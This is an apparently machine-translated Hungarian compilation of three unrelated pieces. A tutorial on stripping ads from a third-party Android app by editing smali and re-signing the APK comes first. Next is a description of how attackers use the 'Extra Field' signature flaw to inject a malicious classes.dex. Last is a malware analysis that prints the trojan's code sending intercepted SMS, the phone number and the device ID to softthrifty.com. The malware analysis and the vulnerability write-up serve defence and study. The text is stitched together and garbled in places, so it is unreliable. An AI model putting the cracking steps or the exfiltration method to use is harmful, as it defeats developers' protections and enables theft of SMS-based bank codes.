A többi mező általában nem kötelező, de legalább egyet ki kell töltenie.


FIGYELEM

Egy alkalmazás apk-signer segítségével történő aláírásához telepítenie kell az Android SDK-t, és meg kell adnia a teljes elérési utat az alkalmazás beállításaiban.

Minden információ csak tájékoztató jellegű. Sem a szerkesztők, sem a szerző nem vállal felelősséget a cikk anyagai által okozott esetleges károkért.

Most már aláírhatja az APK-t ezzel a kulccsal. Az APK-aláíró lapon válassza ki az újonnan létrehozott fájlt, adja meg a jelszót, a kulcs aliast és a jelszót, majd keresse meg APK fájlés bátran nyomja meg az "Aláírás" gombot. Ha minden jól megy, a csomagot aláírják.

INFO

Mivel a csomagot saját kulcsunkkal írtuk alá, az ütközni fog az eredeti alkalmazással, ami azt jelenti, hogy amikor a piacon keresztül próbáljuk frissíteni a szoftvert, hibaüzenetet kapunk.

Csak a harmadik féltől származó szoftvereknek van szüksége digitális aláírásra, tehát ha módosít rendszeralkalmazások, amelyek a /system/app/ könyvtárba másolással kerülnek telepítésre, nem kell aláírni őket.

Ezt követően ejtjük a csomagot az okostelefonon, telepítjük és futtatjuk. Voila, a hirdetés eltűnt! Ehelyett azonban egy üzenet jelent meg, hogy nincs internetünk, vagy nem rendelkezünk a megfelelő jogosultságokkal. Elméletileg ez elég is lehet, de az üzenet bosszantónak tűnik, és őszintén szólva egy hülye alkalmazáshoz szerencsénk volt. Egy jól megírt szoftver valószínűleg tisztázza a hitelesítő adatait, vagy ellenőrzi az internetkapcsolatot, és egyébként egyszerűen megtagadja az indítást. Hogyan lehet ebben az esetben? Természetesen módosítsa a kódot.

Jellemzően az alkalmazáskészítők speciális osztályokat hoznak létre a hirdetések megjelenítésére és ezen osztályok metódusainak meghívására az alkalmazás vagy annak valamelyik „tevékenysége” (egyszerű szóval alkalmazásképernyő) során. Próbáljuk meg megtalálni ezeket az osztályokat. Bemegyünk a smali könyvtárba, majd a com-ba (az org-ban csak a cocos2d nyílt grafikus könyvtár van), majd a kauf-ra (pontosan ott, mert ez a fejlesztő neve és ott van az összes kódja) - és itt van, a marketing címtár. Belül egy csomó smali kiterjesztésű fájlt találunk. Ezek osztályok, és ezek közül a legfigyelemreméltóbb az Ad.smali osztály, amelynek nevéből könnyen kitalálható, hogy hirdetéseket jelenít meg.

Megváltoztathatnánk a működésének logikáját, de sokkal könnyebb lenne ostobán eltávolítani a metódusainak hívását magából az alkalmazásból. Ezért kilépünk a marketing könyvtárból, és a szomszédos részecskekönyvtárba, majd a virtualtorch-ba lépünk. A MainActivity.smali fájl itt külön figyelmet érdemel. Ez egy szabványos Android osztály, amelyet az Android SDK generál, és az alkalmazás belépési pontjaként van beállítva (hasonlóan a C fő funkciójával). Nyissa meg a fájlt szerkesztésre.

Belül a smali kód (helyi assembler). Alacsony szintű jellege miatt meglehetősen zavaros és nehezen olvasható, ezért nem tanulmányozzuk, hanem egyszerűen megkeressük a kódban az Ad osztály összes említését, és kommentáljuk. A "Hirdetés" karakterláncot beírjuk a keresésbe, és eljutunk a 25. sorhoz:

Field privát hirdetés:Lcom/kauf/marketing/Ad;

Itt egy mezőhirdetés jön létre az Ad osztályba tartozó objektumok tárolására. A ### jelet a sor elé állítva kommentálunk. Folytatjuk a keresést. 423. sor:

Új példány v3, Lcom/kauf/marketing/Ad;

Itt jön létre az objektum. Kommentálunk. Folytatjuk a keresést, és a 433-as, 435-ös, 466-os, 468-as, 738-as, 740-es, 800-as és 802-es sorban megtaláljuk az Ad osztály metódusainak hívását. Kommentálunk. Úgy néz ki, ez az. spórolunk. Most a csomagot vissza kell szerelni, és ellenőrizni kell a teljesítményét és a reklámok jelenlétét. A kísérlet tisztasága érdekében visszaküldjük az AndroidManifest.xml fájlból eltávolított sort, összegyűjtjük a csomagot, aláírjuk és telepítjük.

Tengerimalacunk. Látható reklám

Op-pa! A reklám csak az alkalmazás futása közben tűnt el, de a főmenüben maradt, amit a szoftver indításakor látunk. Szóval várj, de a belépési pont a MainActivity osztály, és az alkalmazás futása közben a hirdetés eltűnt, de a főmenüben maradt, tehát más a belépési pont? A valódi belépési pont felfedéséhez újra megnyitjuk az AndroidManifest.xml fájlt. És igen, a következő sorokat tartalmazza:

Azt mondják nekünk (és ami még fontosabb, az androidnak), hogy a Start nevű tevékenységet az android.intent.action.MAIN szándék (esemény) generálására válaszul kell elindítani az android.intent.category.LAUNCHER kategóriából. Ez az esemény akkor jön létre, amikor megérinti az alkalmazás ikonját az indítóban, így ez határozza meg a belépési pontot, nevezetesen a Start osztályt. Valószínűleg a programozó először írt egy főmenü nélküli alkalmazást, aminek a belépési pontja a szokásos MainActivity osztály volt, majd hozzáadott egy új menüt tartalmazó ablakot (tevékenységet), amely a Start osztályban van leírva, és manuálisan tette bejegyzést pont.

Megnyitjuk a Start.smali fájlt, és ismét megkeressük az „Ad” sort, a 153. és 155. sorban találjuk a FirstAd osztály említését. A forráskódban is benne van, és a névből ítélve felelős a hirdetések főképernyőn való megjelenítéséért. Tovább nézünk, ott van a FirstAd osztály egy példányának létrehozása és egy intent, az ehhez a példányhoz kapcsolódó kontextusnak megfelelően, majd a cond_10 címke, amelyre a feltételes átmenet pontosan az osztály példányának létrehozása előtt történik. :

If-ne p1, v0, :cond_10 .line 74 new-példány v0, Landroid/content/Intent; ... :cond_10

Valószínűleg a program valahogy véletlenszerűen kiszámítja, hogy szükséges-e hirdetéseket megjeleníteni a főképernyőn, és ha nem, akkor közvetlenül a cond_10-re ugrik. Rendben, egyszerűsítsük a feladatát, és cseréljük ki a feltételes átmenetet egy feltétel nélkülire:

#if-ne p1, v0, :cond_10 goto:cond_10

A kódban már nincs említés a FirstAd-ról, ezért bezárjuk a fájlt, és az apktool segítségével újra összeállítjuk a virtuális zseblámpát. Másolás okostelefonra, telepítés, futtatás. Voila, minden hirdetés eltűnt, gratulálunk mindannyiunknak.

Eredmények

Ez a cikk csak egy rövid bevezetés az Android alkalmazások megnyitásának és módosításának módszereibe. Sok probléma a színfalak mögött maradt, mint például a védelem eltávolítása, az obfuszkált kód elemzése, az alkalmazási erőforrások lefordítása és cseréje, valamint a következővel írt alkalmazások módosítása. android használatával NDK. Az alapismeretek birtokában azonban mindezek megértése csak idő kérdése.

Az Extra Field a Google Android egyik biztonsági rése, amely lehetővé teszi a támadók számára, hogy módosítsák a tartalmat telepítőcsomag bármilyen alkalmazás ehhez az operációs rendszerhez anélkül, hogy károsítaná azt digitális aláírás. A biztonsági rés segítségével a vírusírók trójaiakat terjeszthetnek úgy, hogy rosszindulatú összetevőket fecskendeznek be bármely legitim vagy megbízható alkalmazásba.

A Dr.Web Android vírusirtó nem tudja megszüntetni ezt a sérülékenységet, mivel magát az operációs rendszer szintjén észleli, azonban sikeresen észleli és eltávolítja a segítségével elterjedt rosszindulatú programokat akkor is, ha azok megpróbálnak behatolni és futtatni a védett eszköz.

Műszaki információk

Operációs rendszer alkalmazások disztribúciói Google rendszerek Az Android .APK fájlokként kerül terjesztésre, amelyek egy ZIP archívum, amely az alkalmazás működéséhez szükséges összes összetevőt tartalmazza. A program telepítése során ezeket kivonják az archívumból, és ellenőrzik ellenőrző összegeiket egy speciális listával. Minden alkalmazásnak saját digitális aláírása van.

Sebezhetőség kihasználása Extra mező, a támadók megváltoztathatják az APK archívum szerkezetét: amikor az egyik eredeti programösszetevő (különösen a classes.dex fájl) értékét hozzáadják a szolgáltatásmezőhöz az első három bájt nélkül, miközben egyidejűleg elhelyezik ennek módosított változatát. fájlt a helyére, az utóbbit az operációs rendszer legitimnek tekinti, és engedélyezi a telepítését. Bár a sérülékenység potenciális kihasználását korlátozza a dex-fájl mérete, amely nem lehet nagyobb 65 533 bájtnál, a támadásban érdekelt kiberbűnözők könnyen kihasználhatják azt egy ártalmatlan program vagy játék alapján, amely tartalmazza a megfelelő összetevőt. méret.

A classes.dex fájl tartalmazza a lefordított alkalmazáskódot az APK fájlban. Az APK fejléc tartalmaz egy helyet, amely a .dex kiterjesztésű fájl nevét tárolja, valamint egy extra mező nevű mezőt, amely magának a classes.dex fájlnak a tartalmát és az alkalmazás által használt osztályok listáját tárolja. Ha a fejléc mezőt három bájttal lerövidítjük, a megfelelő mező hosszának értéke megváltozik, ami lehetővé teszi a támadók számára, hogy az eredeti classes.dex fájlt az extra mezőbe foglalják, valamint ennek a fájlnak egy rosszindulatú másolatát, amelynek egy része is az extra mezőbe kerüljön. A módosított mező rosszindulatúan kialakított osztályokat tartalmazhat, amelyek rosszindulatú funkciókat hordoznak. Az alkalmazás telepítésekor operációs rendszer tartalmat olvas adott mező, melynek eredményeként a támadók által módosított classes.dex fájl telepítésre kerül a megtámadott eszközre.

Elvesztette a program forrását, és vissza kell állítania a kódot. Ön letöltött egy vírusos programot, és szeretné tudni, mit csinál.

Az Androidra szánt programokat archívumban terjesztik. Ezek az archívumok ".apk" kiterjesztéssel rendelkeznek. Az ilyen fájlok nincsenek titkosítva, és lényegében "zip" fájlok. Ennek ellenőrzéséhez átnevezheti az apk fájlt zip-re.

Be kell ásnia az APK fájlba, és be kell szereznie néhány adatot. Lehet gyakorolni a macskákon. Vegyük a „Hello Kitty” programunkat, keressük meg annak apk fájlját a projekt mappában app\build\outputs\apkés helyezze át egy külön mappába a kísérletekhez.

Az archívum kicsomagolása után láthatja az alkalmazás szerkezetét, és ismerős fájlokkal találkozhat. És még ki is csomagol néhány fájlt megtekintéshez. Például a mappában res/drawable-hdpi-v4 megtaláltam a képem pinkhellokitty.png. Úgy tűnik, ez a boldogság. De örülj tovább. Ha nincs probléma a képekkel, akkor az XML-fájl olvasása zűrzavar. Néhány sor látható az Ön számára, de általában a szöveg teljesen olvashatatlan. Tehát először menjünk a másik irányba.

Mert egyedi alkalmazások Android esetén java gépen futnak le, akkor az APK fájlok öröklik a JAR fájlok összes jellemzőjét.

Az archívum tartalma általában így néz ki:

A META-INF könyvtár a következőket tartalmazza:

CERT.RSA - alkalmazás tanúsítvány
CERT.SF - az erőforrásfájlok (képek, hangok stb.) ellenőrző összegei
MANIFEST.MF – magát az apk fájlt leíró szolgáltatási információ

Rosszindulatú programok elemzése

Példaként vegyük a programot gyanús.apk, amelyet a különféle vírusirtók rosszindulatú programként észlelnek.

Ahhoz, hogy jobban megértse, mit kell keresnie, elemeznie kell az „AndroidManifest.xml” fájlt – nézze meg, milyen engedélyekre van szüksége az elemzett alkalmazásnak. Ez a fájl bináris, nem egyszerű szövegű xml. Az olvasáshoz az Android SDK "aapt" konzolsegédprogramját kell használnia. A "platform-tools" könyvtárban található. Mivel nincs grafikus felület, a parancsot be kell írni a konzolba. Például Windows esetén:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Természetesen saját utakat kell helyettesítenie. Linuxon a parancs ugyanaz lesz, nyilvánvaló különbségekkel (nem lesz meghajtóbetűjel, és nem lesz "exe" kiterjesztése a segédprogramnak). A nagyobb kényelem érdekében a kimenet átirányítható egy fájlba:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

A fájlban meg kell találnia az „Android manifest” részt, és meg kell keresnie az engedélyek felsorolását. Az elemzett fájlban így néz ki:

"android.permission.READ_PHONE_STATE" (Nyers: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Nyers: "android.permission.INTERNET") "android.permission." (Nyers: "android.permission.RECEIVE_SMS")

Ebből az információból világossá válik, hogy a program képes fogadni a telefon állapotát (ebbe beletartozik például a "telefon hívás módban", "telefon adatfogadási módban"). Ez az engedély szükséges a telefonszám megszerzéséhez, amelyen a program fut, a hálózattal való együttműködéshez és az SMS érkezésének figyeléséhez. Ezek a szempontok kell, hogy a további elemzés középpontjában álljanak.

A kódhoz való hozzáféréshez két lépést kell végrehajtania: az apk fájlt jar fájllá kell konvertálnia, és az így kapott bájtkódot egy ember által olvashatóbb formára kell visszafordítania.

Használjuk a "dex2jar" konvertert:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

A konvertált fájl ugyanabban a könyvtárban lesz, mint az eredeti fájl. A ".dex2jar.jar" hozzáadódik a nevéhez, azaz in ezt a példát"suspicious.apk.dex2jar.jar" lesz.

Ezt a fájlt egy decompiler nyithatja meg. A csomaghierarchia a visszafejtő ablakban így néz ki:


Ezzel befejeződnek az előkészítő lépések – a további siker csak a Java-tudáson és a keresőmotor használatán múlik.

Szerencsére a példához választott példány meglehetősen szerény méretű - a végső jar mindössze 7,01 KB.

A programban hat osztály szerepel. Kizárjuk azokat, amelyek nem érdekelnek. Ez egy R osztály, amely csak az összes erőforrás azonosítóját tartalmazza. Az osztály kizárása is lehetséges Konfig A, amely tartalmazza a build konfigurációját.

Nézzük meg közelebbről a fennmaradó három osztályt.

aktiválás

Ezt az osztályt egy esemény váltja ki onCreate(), vagyis közvetlenül az alkalmazás indulása után.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("telefon");- alkot localTelephonyManager A, amely az eszköz adatait tartalmazza.

str1 = localTelephonyManager.getDeviceId();- a kapott adatok közül kiválasztja az eszközazonosító számot és az str1 sztringbe helyezi

Következik a szétváló ciklus Eszköz azonosító négy számjegyből álló darabokra, közéjük kötőjelet "-" illesztve, vagyis a XXXXXXXXXXXXXXXX-ből XXXX-XXXX-XXXX-XXXX kapsz. Az eredményül kapott számokból és kötőjelekből álló karakterlánc átadásra kerül szövegnézet 2131034112 azonosítóval.

SmsReceiver

Ez az osztály akkor indul el, ha SMS üzenet érkezik, esemény onReceive().

Ennek az osztálynak az a feladata, hogy figyelje a bejövő SMS-eket, és ha észleli, futtassa az osztályt Főszolgáltatás, átadva egy mutatót az új bejövő üzenetre.

Főszolgáltatás

Ez az osztály elég nagy, ezért nem sorolom fel teljes egészében. A hívás után azonnal elindítja az SmsBlockerThread alosztályt, amely blokkolja a beérkező SMS értesítését, így a felhasználó nem kap értesítést az új bejövő SMS-ről.

Akkor bejövő SMSígy feldolgozva:

String str1 = localSmsMessage.getOriginatingAddress();- a címzett telefonszáma (azaz az a telefonszám, amelyre a trójai telepítve van) a változóba kerül str1.

String str2 = localSmsMessage.getMessageBody();- az üzenet törzse az str2 változóba kerül

Ezután összefüggő párok jönnek létre localBasicNameValuePair1és localBasicNameValuePair2 amelybe az értékek kerülnek

F0=<номер телефона>b0=<текст сообщения>

Ezek a párok a localArrayList tömbben vannak tárolva, amelyhez később hozzáadódik a pár localBasicNameValuePair3, ami az id=

Ugyanakkor, mint láthatja, Eszköz azonosítóújra beszerezzük, és az órán átvett nem kerül felhasználásra aktiválás. A végén a módszer meghívása postRequest() az utolsó osztályból ServerSession:

Próbáld ki ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); return; )

Ugyanaz a párok tömbje kerül átadásra paraméterként, amelyben a telefonszám, az SMS-tartalom és az eszközazonosító.

ServerSession

Ennek az osztálynak két módszere van: initUrl(), amely a "(http://softthrifty.com/security.jsp)" hivatkozásrészt adja vissza:

Nyilvános statikus karakterlánc initUrl() ("http://softthrifty.com/security.jsp" visszaadása; )

és nagy módszer postRequest(), amit az osztályról hívtak Főszolgáltatás. A méret ellenére a feladat postRequest() egyszerű - küldje el a szervernek a metódus által visszaadott hivatkozás segítségével initUrl(), adatok párok hozzáadásával a begyűjtött tömbből Főszolgáltatás. Vagyis csak kövesd a linket:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

Eredmény

Tehát ez a trójai elfogja az SMS-eket és kérést küld a szervernek, amelyben továbbítja a fertőzött telefon számát, az SMS tartalmát és a fertőzött telefon azonosítóját. Ez a viselkedés annak a jele lehet, hogy egy banki trójai megtámadja a kéttényezős hitelesítést. Mert sikeres támadás a következő feltételek szükségesek:

1) a támadónak meg kell fertőznie az áldozat számítógépét, hogy az online banki szolgáltatásokhoz adatokat lehessen fogni;
2) a támadónak meg kell fertőznie az áldozat telefonját az SMS-ek lehallgatásához a banktól kapott megerősítő kóddal;
3) a támadónak valamilyen módon össze kell kapcsolnia a fertőzött számítógép és a fertőzött telefon felhasználóját, hogy megtudja, melyik online banki hitelesítő adatokból származik ez a megerősítő kód;

Mérete és tevékenységei nyilvánvalósága miatt egy ilyen minta kiválóan alkalmas a rosszindulatú programok Androidra történő elemzésének alapvető technikáinak bemutatására.